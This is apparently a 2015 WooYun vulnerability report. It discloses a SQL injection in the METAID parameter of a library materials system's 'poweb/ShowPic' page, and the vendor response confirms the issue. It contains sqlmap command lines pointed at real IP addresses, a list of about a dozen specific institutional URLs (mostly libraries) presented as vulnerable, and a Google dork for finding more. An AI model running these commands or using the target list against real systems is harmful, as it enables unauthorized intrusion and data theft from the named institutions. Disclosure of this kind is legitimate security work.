漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-099332
漏洞标题：某资料系统SQL注射
相关厂商：杭州麦达电子有限公司
漏洞作者： 路人甲
提交时间：2015-03-06 14:43
修复时间：2015-06-09 09:28
公开时间：2015-06-09 09:28
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-03-06： 细节已通知厂商并且等待厂商处理中
2015-03-11： 厂商已经确认，细节仅向厂商公开
2015-03-14： 细节向第三方安全合作伙伴开放
2015-05-05： 细节向核心白帽子及相关领域专家公开
2015-05-15： 细节向普通白帽子公开
2015-05-25： 细节向实习白帽子公开
2015-06-09： 细节向公众公开
简要描述：
某资料系统SQL注射漏洞
详细说明：
某资料系统SQL注射漏洞
漏洞证明：
博文非书资料系统都会存在一个视频存储，而这个注入在
poweb/ShowPic?METAID=18920
案例一：
C:\Python27\sqlmap>sqlmap.py -u "http://219.243.15.9:8080/poweb/ShowPic?METAID=7
319" -v 1
案例二：
C:\Python27\sqlmap>sqlmap.py -u "http://210.44.1.2:8080/poweb/ShowPic?METAID=525
32" -v 1
案例三：
C:\Python27\sqlmap>sqlmap.py -u "http://202.206.242.26:88/poweb/ShowPic?METAID=5
2532" -v 1
案例四：
http://121.9.253.233:8089/poweb/ShowPic?METAID=3431
案例五：
http://lib.zust.edu.cn:8080/poweb/ShowPic?METAID=18782
上是个案例：
http://202.113.140.10:8080/poweb/ShowPic?METAID=18920
http://222.29.253.58:8080/poweb/ShowPic?METAID=1644
http://210.44.1.2:8080/poweb/ShowPic?METAID=52532
http://202.206.242.26:88/poweb/ShowPic?METAID=52532
http://218.192.55.9/poweb/ShowPic?METAID=124010
http://210.35.35.73:8080/poweb/ShowPic?METAID=1644
http://210.37.2.192:90/poweb/ShowPic?METAID=1644
http://210.38.64.114:85/poweb/ShowPic?METAID=9964
http://lib.zust.edu.cn:8080/poweb/ShowPic?METAID=18782
http://121.9.253.233:8089/poweb/ShowPic?METAID=3431
http://202.206.242.26:88/poweb/ShowPic?METAID=13199
http://rom.hztsg.com:9091/poweb/ShowPic?METAID=1689
http://www.dqlib.com.cn:8005/poweb/ShowPic?METAID=876
谷歌很好找：
inurl:/poweb/ inurl:?METAID
打开网页直接这个
METAID
替换上去=后面的数字
修复方案：
过滤
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：16
确认时间：2015-03-11 09:27
厂商回复：
CNVD确认并复现所述情况，暂未建立与软件生产厂商的直接处置渠道，经测试，暂不涉及政府案例，未列入处置流程。待认领。
最新状态：
暂无